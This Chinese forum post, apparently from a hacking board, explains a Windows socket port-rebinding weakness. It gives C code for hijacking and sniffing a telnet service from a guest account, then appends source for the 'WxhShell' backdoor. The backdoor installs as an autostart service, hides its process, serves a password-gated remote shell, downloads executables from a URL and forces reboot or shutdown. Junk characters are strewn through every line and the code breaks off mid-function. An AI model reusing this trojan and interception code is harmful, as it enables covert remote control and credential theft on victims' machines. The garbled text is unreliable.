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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gb6'n$g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i&fuSk EP  
jB2[(  
  saddr.sin_family = AF_INET; eo?bL$A[s  
"HIRTE;&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (%6P0*  
?l{nk5,?-Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2]*OQb#O6e  
1CZgb   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q?yVR3]M  
(ZZ8L-s  
  这意味着什么?意味着可以进行如下的攻击: cuI TY^6  
C}Cs8eUn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Dz/ "M=  
bAqA1y3=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j,eo2HaL  
LEdh!</'24  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C,r;VyW6BI  
Lk8ek}o'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bI1N@=  
0{D'n@veP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rb.N~  
\R_C&=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2[W&s&  
-Q*gW2KmV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?:q*(EC<  
T8$y[W-c  
  #include Y:[u1~a  
  #include U[MA)41  
  #include Y$_B1_  
  #include    TvbE2Q;/UL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rV#ch(  
  int main() #*Ctwl,T  
  {  qX{+oy5  
  WORD wVersionRequested; q_58;Bv  
  DWORD ret; zrb}_  
  WSADATA wsaData; NBGH_6DROw  
  BOOL val; YOO+R{4(  
  SOCKADDR_IN saddr; .ioEI sg  
  SOCKADDR_IN scaddr; b \2 ds,  
  int err; 5.GR1kl6  
  SOCKET s;  b>ySv  
  SOCKET sc; L!xi  
  int caddsize; 9%9#_?RW  
  HANDLE mt; gPPkT"  
  DWORD tid;   zO6oT1I  
  wVersionRequested = MAKEWORD( 2, 2 ); lThB2/tV\  
  err = WSAStartup( wVersionRequested, &wsaData ); 3Y$GsN4ln  
  if ( err != 0 ) { D&y7-/  
  printf("error!WSAStartup failed!\n"); ;2QP7PrSY  
  return -1; 3bI9Zt#J%&  
  } +ZP7{%  
  saddr.sin_family = AF_INET; eHUOU>&P]  
   sYA1\YIii  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !4+<<(B=E  
m8[j #=h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Eu3E-K@y  
  saddr.sin_port = htons(23); ~k5W@`"W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mi_$">1-W  
  { ;O,jUiQ  
  printf("error!socket failed!\n"); J{G?-+`  
  return -1; C0Z=~Q%  
  } d<Tc7vg4|U  
  val = TRUE; {' H(g[k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \  Cj7k^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f|g g  
  { aN3;`~{9  
  printf("error!setsockopt failed!\n"); ?a]mDx>xh  
  return -1; J'r^/  
  } 8u]2xB=K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F!K>Kz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lyhiFkO iH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _aeBauD  
COlaD"Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'J|_2*  
  { MolgwVd  
  ret=GetLastError(); )+Pus~w  
  printf("error!bind failed!\n"); 5"H=zJ=r  
  return -1; N'=gep0V@  
  } fc>L K7M  
  listen(s,2); M',?u  
  while(1) klhtKp_p  
  { 2Tppcj v  
  caddsize = sizeof(scaddr); [2cD:JL  
  //接受连接请求 ],].zlN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I%Z  
  if(sc!=INVALID_SOCKET) 3G4-^hY<  
  { TD_Oo-+\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |4`{]2C  
  if(mt==NULL) /qw.p#  
  { QS`]  
  printf("Thread Creat Failed!\n"); 1h5 Akq  
  break; vZ Lf  
  } }(u ol  
  } e96k{C`j0  
  CloseHandle(mt); &cTU sK  
  } FVBYo%Ap  
  closesocket(s); }ad|g6i`  
  WSACleanup(); hpk7 A np  
  return 0; RG`1en  
  }   =g|FT  
  DWORD WINAPI ClientThread(LPVOID lpParam) <a+Z;>  
  { IE~ |iQ?-  
  SOCKET ss = (SOCKET)lpParam; :BT q!>s  
  SOCKET sc; e>7i_4(C  
  unsigned char buf[4096]; 4KrL{Z+}  
  SOCKADDR_IN saddr; T6k0>[3xf  
  long num; 3+bt~J0  
  DWORD val; D1;QC  
  DWORD ret; <9 ;!3xG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {l >hMxij  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jZ; =so  
  saddr.sin_family = AF_INET; E4xa[iZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w%sT{(Vd`C  
  saddr.sin_port = htons(23); LreP4dRe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y nZiT e@  
  { /u+e0BHo  
  printf("error!socket failed!\n"); n'w.; q  
  return -1; ReeH@.74  
  } :\U{_@?`%  
  val = 100; g=o4Q< #^y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) po7qmLq  
  { @s^-.z  
  ret = GetLastError(); #3d(M  
  return -1; 7VI*N)OZ8  
  } @\I#^X5lv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pb=h/8R  
  { f y8Uk;  
  ret = GetLastError(); TuqH*{NNy9  
  return -1; t&DEb_"De  
  } &jr3B;g!C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -|\ZrE_h  
  { ;jTN | i'  
  printf("error!socket connect failed!\n"); }:#P)8/v>%  
  closesocket(sc); Y[S1$(K&*  
  closesocket(ss); ws^ np  
  return -1; C{wEzM :  
  } pY$Q  
  while(1) wH6aAV~1  
  { xAP+FWyV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H 7 ^/q7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *_g$MI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YT8F#t8  
  num = recv(ss,buf,4096,0); C"]^Q)aJN  
  if(num>0) P L+sR3bR  
  send(sc,buf,num,0); 1g~R/*Jo  
  else if(num==0) j 1HW._G  
  break; /|#fejPh  
  num = recv(sc,buf,4096,0); t);/'3|  
  if(num>0) Vs{|xG7W D  
  send(ss,buf,num,0); e(8Ba X _  
  else if(num==0) /JU.?M35  
  break; Oz#{S:24M+  
  } d*Fj3Wkx  
  closesocket(ss); Q)z8PQl O  
  closesocket(sc); sFTy(A/  
  return 0 ; ji,kkipY?w  
  } RY*U"G0#w  
qb` \)X]9  
f'3$9x  
========================================================== 5+ MS^H  
,wdD8ZT'Ip  
下边附上一个代码,,WXhSHELL hwNf~3eJk  
h3@v+Z<}  
========================================================== t<?,F  
)sQ*Rd@t[8  
#include "stdafx.h" -RK- Fu<e  
uhutg,[  
#include <stdio.h> m<2M4u   
#include <string.h> Pd]|:W< E  
#include <windows.h> 9]o-O]7/  
#include <winsock2.h> W'u>#  
#include <winsvc.h> vEz"xz1j!]  
#include <urlmon.h> ib791  
xFg>SJ7]  
#pragma comment (lib, "Ws2_32.lib") wo 5   
#pragma comment (lib, "urlmon.lib") SOvF[,+  
`n?DU;,  
#define MAX_USER   100 // 最大客户端连接数 R .2wqkY  
#define BUF_SOCK   200 // sock buffer Ef13Q]9|  
#define KEY_BUFF   255 // 输入 buffer 0Z]!/AsC  
YkQd  
#define REBOOT     0   // 重启 eO[b1]WLP  
#define SHUTDOWN   1   // 关机 (0kK_k'T  
@2v_pJy^  
#define DEF_PORT   5000 // 监听端口 =rX>1  
2SR:FUV/  
#define REG_LEN     16   // 注册表键长度 d4z/5Oa  
#define SVC_LEN     80   // NT服务名长度 X+]G-  
3%=~) 7cF  
// 从dll定义API zT?D<XW>1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DrK{}uM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y Fq&8 x<X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;@E$}*3[>V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LvYB7<zk>  
-!]ZMi9  
// wxhshell配置信息 ?p8_AL'RS  
struct WSCFG { >t_6B~x9  
  int ws_port;         // 监听端口 5rZ  
  char ws_passstr[REG_LEN]; // 口令 t}tEvh  
  int ws_autoins;       // 安装标记, 1=yes 0=no G?Hdq;  
  char ws_regname[REG_LEN]; // 注册表键名 ~gRf:VXX=_  
  char ws_svcname[REG_LEN]; // 服务名 4)o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h;NYdX5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @bP)406p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OY@ %p}l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vd4ytC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cq4I pe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WVvvI9  
(7=9++uU  
}; %vi<Ase g  
As<bL:>dE  
// default Wxhshell configuration Jo23P.#<  
struct WSCFG wscfg={DEF_PORT, 1|-Dj|  
    "xuhuanlingzhe", wZZt  
    1, "wh , Ue  
    "Wxhshell", "OnGE$   
    "Wxhshell", qPfQy  
            "WxhShell Service", QGmn#]w\\  
    "Wrsky Windows CmdShell Service", \6*I'|5 d  
    "Please Input Your Password: ", AbmAKA@  
  1, !f&g-V  
  "http://www.wrsky.com/wxhshell.exe", bhlG,NTP  
  "Wxhshell.exe" 3n}?bY8@5_  
    }; )U{Qj5W+F  
R`^_(yn>  
// 消息定义模块 ]}2ZttQ?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pr UM-u8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xAMW-eF?d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LOV)3{m  
char *msg_ws_ext="\n\rExit."; Jz *;q~  
char *msg_ws_end="\n\rQuit."; 5 5c|O  
char *msg_ws_boot="\n\rReboot..."; qR+!l(  
char *msg_ws_poff="\n\rShutdown..."; !^Y(^RS@  
char *msg_ws_down="\n\rSave to "; .gOL1`b*  
V-L"gnd&2  
char *msg_ws_err="\n\rErr!"; ut/=R !(K  
char *msg_ws_ok="\n\rOK!"; :$BCRQ  
a]tVd#  
char ExeFile[MAX_PATH]; WKa~[j|-K  
int nUser = 0; *w0%d1  
HANDLE handles[MAX_USER]; Y,t={HiclX  
int OsIsNt; 2n"V}p>8i#  
mmRJ9OhS  
SERVICE_STATUS       serviceStatus; hJ~Uf5Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T\ >a!  
Qtv&ijFC  
// 函数声明 =CVBBuVy  
int Install(void); :mn>0jK,N  
int Uninstall(void); ):_\;.L  
int DownloadFile(char *sURL, SOCKET wsh); vJOw]cwq  
int Boot(int flag); xCl1g4N  
void HideProc(void); d8=x0~7  
int GetOsVer(void); O]Qd<%V'x  
int Wxhshell(SOCKET wsl); vbe|hO""  
void TalkWithClient(void *cs); q0r>2c-d  
int CmdShell(SOCKET sock); .qZ~_xkd  
int StartFromService(void); 3H6lBF  
int StartWxhshell(LPSTR lpCmdLine); s6.M\^  
6){]1h"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^pF&` 2eD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e:n<EnT  
x&Kh>PVh\  
// 数据结构和表定义 =sJ7=39  
SERVICE_TABLE_ENTRY DispatchTable[] = }"PU%+J  
{ .|b$NM  
{wscfg.ws_svcname, NTServiceMain}, xQXXC|T  
{NULL, NULL} *ipFwQ  
}; ^^as'Dk  
_Wq  
// 自我安装 ![_*(8v}S  
int Install(void) >\=3:gb:  
{ $r8 ^0ZRr  
  char svExeFile[MAX_PATH]; 5l2 ?  
  HKEY key; YS@ypzc/  
  strcpy(svExeFile,ExeFile); D rHV G  
RcM/!,B  
// 如果是win9x系统,修改注册表设为自启动 <vh/4  
if(!OsIsNt) { .C( eh   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wq(7|!Eix  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TKY*`?ct  
  RegCloseKey(key); o9%)D<4M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [nc4{0aT'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X>(TrdK_9"  
  RegCloseKey(key); F6OpN "UM'  
  return 0; hj B@o#S  
    } 3U.88{y  
  } luuX2Mx>o  
} w' OXlR  
else { 9N<<{rQ,F  
1[qLA!+  
// 如果是NT以上系统,安装为系统服务  TYmP)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =;3Sx::=  
if (schSCManager!=0) + SFVv_n  
{ G_{&sa  
  SC_HANDLE schService = CreateService wF,UE _  
  ( pP?MWe Eg  
  schSCManager, X4AyX.p  
  wscfg.ws_svcname, !*m5F8Qm?A  
  wscfg.ws_svcdisp, 28H8l2{[>  
  SERVICE_ALL_ACCESS, 9{}1r2xW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zb}9%.U  
  SERVICE_AUTO_START, [16cFqD  
  SERVICE_ERROR_NORMAL, Nq` C.&  
  svExeFile, OK6] e3UO  
  NULL, rI>aAW'  
  NULL, X1Ac*oLN  
  NULL, ang~<  
  NULL, Q`D~5ci  
  NULL OCJnjlV%  
  ); WObvbaK  
  if (schService!=0) `'c_=<&n  
  { #iWSDy  
  CloseServiceHandle(schService); =fve/_Q~  
  CloseServiceHandle(schSCManager); !z<%GQ CT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C] 9 p5Hs  
  strcat(svExeFile,wscfg.ws_svcname); tqeZ#w7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { < hO /jB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ryCI>vJz  
  RegCloseKey(key); 5ish\"  
  return 0; 2Sp=rI  
    } oiyzHx  
  } ZAUQJS 91E  
  CloseServiceHandle(schSCManager);  eDJ fU  
} k^%B5  
} 8 <7GdCME  
=gvBz| +  
return 1; S_v'hlrrT  
} i|}[A  
Z]WnG'3N  
// 自我卸载 C,NxE5?h  
int Uninstall(void) d&u]WVU  
{ ,FMx5$  
  HKEY key; 0i|oYaC  
OhmQ,  
if(!OsIsNt) { @qjfZH@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !x>%+&c>k  
  RegDeleteValue(key,wscfg.ws_regname); \uq/x^?yo  
  RegCloseKey(key); w TGb d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /43-;"%>  
  RegDeleteValue(key,wscfg.ws_regname); -zO2|@S,  
  RegCloseKey(key); E55t*^`  
  return 0; =w5O&(  
  } u4neXYSy  
} hf<^/@^tK  
} @81Vc<dJ  
else { )r z+'|,  
^1x*lLf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =rQP[ICs!  
if (schSCManager!=0) ls`,EFF  
{ ?@t  d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  6XJ[h  
  if (schService!=0) z rv#Xa!O\  
  { Y<b-9ai<w  
  if(DeleteService(schService)!=0) { P^Q[-e{  
  CloseServiceHandle(schService); B_l{<  
  CloseServiceHandle(schSCManager); ^(f4*m6`  
  return 0; ZBG}3Z   
  } F3lw@b3])  
  CloseServiceHandle(schService); Z,;cCxE  
  } 9W>Y#V~|v!  
  CloseServiceHandle(schSCManager); Bo+DJizu  
} (j"(  
} 0\~Z5k`IT  
Op? OruT[  
return 1; `L5~mb;7*  
} J3b4cxm  
C4#rA.nF|  
// 从指定url下载文件 $hVYTy~}  
int DownloadFile(char *sURL, SOCKET wsh)  ,chf~-d  
{ b*mKei  
  HRESULT hr; xf>z@)e  
char seps[]= "/"; HygY>s+3[  
char *token; tPyyZ#,  
char *file; ExXM:1 e26  
char myURL[MAX_PATH]; /_-;zL  
char myFILE[MAX_PATH]; rf9_eP  
>71&]/Rv  
strcpy(myURL,sURL); daAyx-  
  token=strtok(myURL,seps); "$5\,  
  while(token!=NULL) +1Ph<zq"  
  { xg{HQQ|TC  
    file=token; "?GebA  
  token=strtok(NULL,seps);  ql&*6KZ"  
  } &MgeYpd  
|"$uRV=qm  
GetCurrentDirectory(MAX_PATH,myFILE); i~{ _eQV  
strcat(myFILE, "\\"); .2\0~x""  
strcat(myFILE, file); ,rwuy[Q8  
  send(wsh,myFILE,strlen(myFILE),0); <;t)6:N\  
send(wsh,"...",3,0); GfyX'(ge  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m>e3vu  
  if(hr==S_OK) baoD(0d  
return 0; F[7x*-NO-  
else f|aDTWF  
return 1; YY4-bNj[p  
4*UP. r@  
} L8vOBI7N  
M`,XyIn  
// 系统电源模块 _2mNTJiw  
int Boot(int flag) K,}w]b  
{ zyN (4  
  HANDLE hToken; |AH@ EI>  
  TOKEN_PRIVILEGES tkp; =ziy`#fm,  
vU/ D7  
  if(OsIsNt) { ~j @UlP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WA.\*Nqze  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]Bb7(JX  
    tkp.PrivilegeCount = 1; ~k4W<   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  i j&p4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =!-5+I#e  
if(flag==REBOOT) { $-@$i`Kf/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^^$vR[7  
  return 0; 1}`LTPW9  
} %f[Ep 3D  
else { LnMwx#^*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VVrwOo CN  
  return 0; {=At#*=A  
} `f'C[a"  
  } j=.g :&r)  
  else { 5&4F,v[zp  
if(flag==REBOOT) { d0C8*ifFO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A"/aGCG0z  
  return 0; o*7yax  
} ^)cM&Bx t%  
else { l6B.6 '4)w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'rV2Bt,  
  return 0; .w FU:y4r  
} rqvU8T7A  
} =O^7TrM  
TSyzdnMvz  
return 1; V}`M<A6:  
} {qAu/ixp  
tvWH04T  
// win9x进程隐藏模块 KHJ=$5r)  
void HideProc(void) Nz]aaoO4  
{ q lY\*{x4  
Z oTNm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `03<0L   
  if ( hKernel != NULL ) 9c5!\m1  
  { (/q}mB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t+}uIp42<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aVK()1v]  
    FreeLibrary(hKernel); [>uwk``_  
  } gO{W#%  
"X?LAo  
return; !\w\ ]7 ls  
} @dhH;gt.I  
H5 q:z=A  
// 获取操作系统版本 Nzc>)2% N  
int GetOsVer(void) 59qnEIi  
{ GHrBK&  
  OSVERSIONINFO winfo; )% |r>{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &kq7gCd  
  GetVersionEx(&winfo); j[T%'%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) er\:U0fr#@  
  return 1; :A$wX$H01  
  else Y_shy6" KH  
  return 0; }I<N^j=/pO  
} LI$L9eNv;Y  
)O-sWh4  
// 客户端句柄模块 F0: &>'}  
int Wxhshell(SOCKET wsl) bG1 ofsU  
{ d:$G|<uA  
  SOCKET wsh; zuj;T,R;  
  struct sockaddr_in client; I! ITM<Z$l  
  DWORD myID; &.*T\3UO  
w\v&3T   
  while(nUser<MAX_USER) I_L;T  
{ 'qlxAYw<f  
  int nSize=sizeof(client); E#~2wqK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gm*Uv6?H?  
  if(wsh==INVALID_SOCKET) return 1; ht$ WF  
D1~^\)*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3\9][S-B  
if(handles[nUser]==0) W.GN0(uG  
  closesocket(wsh); H.;yLL=  
else 8I {56$  
  nUser++; x_pMG!2  
  } ;op'V6iG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _PdAN= C3  
1uj05aZh}  
  return 0; c; d"XiA  
} bAdAp W  
1o)=GV1  
// 关闭 socket QZ9M{Y/  
void CloseIt(SOCKET wsh) vD"_X"v  
{ nvwDx*[qN  
closesocket(wsh); J4&XPr9  
nUser--; 8Y]}Gb!  
ExitThread(0); BfEx'C  
} k4* ! Q_A  
v,@E}F~-f1  
// 客户端请求句柄 zh hGqz[K  
void TalkWithClient(void *cs) hG[4O3jo\  
{ f#2#g%x  
/TG| B Eb  
  SOCKET wsh=(SOCKET)cs;  2w;G4  
  char pwd[SVC_LEN]; +;5Wp$ M\  
  char cmd[KEY_BUFF]; 5D >BV *"  
char chr[1]; @<%oIE~]F  
int i,j; "Vq@bNtu+  
y>&VtN{E  
  while (nUser < MAX_USER) { )<tzm'Rc  
8:BQHYeJK  
if(wscfg.ws_passstr) { oO}>i0ax*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =NI.d>kvC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E{?L= ^cU  
  //ZeroMemory(pwd,KEY_BUFF); ~ |J*E38  
      i=0; @b>YkJDk  
  while(i<SVC_LEN) { q 8tP29  
{!>E9Px  
  // 设置超时 =54Vs8.  
  fd_set FdRead; T\.7f~3  
  struct timeval TimeOut; " Tw0a!  
  FD_ZERO(&FdRead); e*6U |+kJ  
  FD_SET(wsh,&FdRead); +KYxw^k}"7  
  TimeOut.tv_sec=8; Udg & eEF  
  TimeOut.tv_usec=0; =k_XKxd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `mWQWx$V!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o7hH9iY  
>zN" z)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6qY\7R2+  
  pwd=chr[0]; a'o}u,e5  
  if(chr[0]==0xd || chr[0]==0xa) { ,OFq'}q  
  pwd=0; w@4t$bd7  
  break; oT$(<$&<  
  } +YkmLD  
  i++; v_[)FN"]Y.  
    } F?!};~$=Z  
fB@K'JQG  
  // 如果是非法用户,关闭 socket $a)J CErN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hG< a  
} :K!GR  
(0Zrfu^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `,hW;p>-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m7weR>aS4  
A)~ /~  
while(1) { 0#2T0zk  
xop-f#U*  
  ZeroMemory(cmd,KEY_BUFF); e@6RC bj  
8b8e^\l(  
      // 自动支持客户端 telnet标准   OYQXi  
  j=0; I 0x`H)DA  
  while(j<KEY_BUFF) { ~pDRF(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m1M;'tT@  
  cmd[j]=chr[0]; u-]vK  
  if(chr[0]==0xa || chr[0]==0xd) { g!~-^_F  
  cmd[j]=0; 5&G Q=m  
  break; FCUVP,"T  
  } a 5~G  
  j++; ^\Ue7,H-  
    } 3Qm t]q  
q!u lE{ ^  
  // 下载文件 w%%6[<3%  
  if(strstr(cmd,"http://")) { QE`:jxyad  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ 4p]E'b  
  if(DownloadFile(cmd,wsh)) V NJDl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rh05W_?Js  
  else 2^k^"<h5j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dohl,d  
  } BWqik_  
  else { [MSDk"o&  
ZEXj|wC  
    switch(cmd[0]) { +8?R+0P  
  o`JlXuG?o  
  // 帮助 vfk7J5y  
  case '?': { ?Oe_} jv;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @ ~0G$  
    break; T<9dW?'|  
  } kHz+ ZY<?  
  // 安装 62k9"xSH  
  case 'i': { '? !7 Be  
    if(Install()) k:(e79  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xIq"[?m  
    else &+|jJ{93z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8k*  
    break; hSLwiX~  
    } 9~Y)wz  
  // 卸载 '>S8t/  
  case 'r': { ` maN5)  
    if(Uninstall()) Y3sNr)qss  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); etQx>U  
    else )f:!#v(K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X=*Yzz}  
    break; jN5} 2 p*  
    } 3=G5(0  
  // 显示 wxhshell 所在路径 K"t:B  
  case 'p': { |P[D2R}  
    char svExeFile[MAX_PATH]; =%#$HQ=  
    strcpy(svExeFile,"\n\r"); b'Piymx  
      strcat(svExeFile,ExeFile); sEgeS9a{  
        send(wsh,svExeFile,strlen(svExeFile),0); eaZ)1od  
    break; <(6-9(zHa  
    } k8t Na@H  
  // 重启 `*2*xDuP  
  case 'b': { O. .@<.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VK@i#/jm  
    if(Boot(REBOOT)) ys"mP* wD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h#6 jUQ  
    else { STF}~`b:3  
    closesocket(wsh); \I o?ul}za  
    ExitThread(0); uq#h\p|  
    } |WwFE|<  
    break; j8ohzX[Y  
    } :Jsz"vCg&s  
  // 关机 `'WY'\|C  
  case 'd': { WriJco<v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b6E8ase:F  
    if(Boot(SHUTDOWN)) .of:#~  
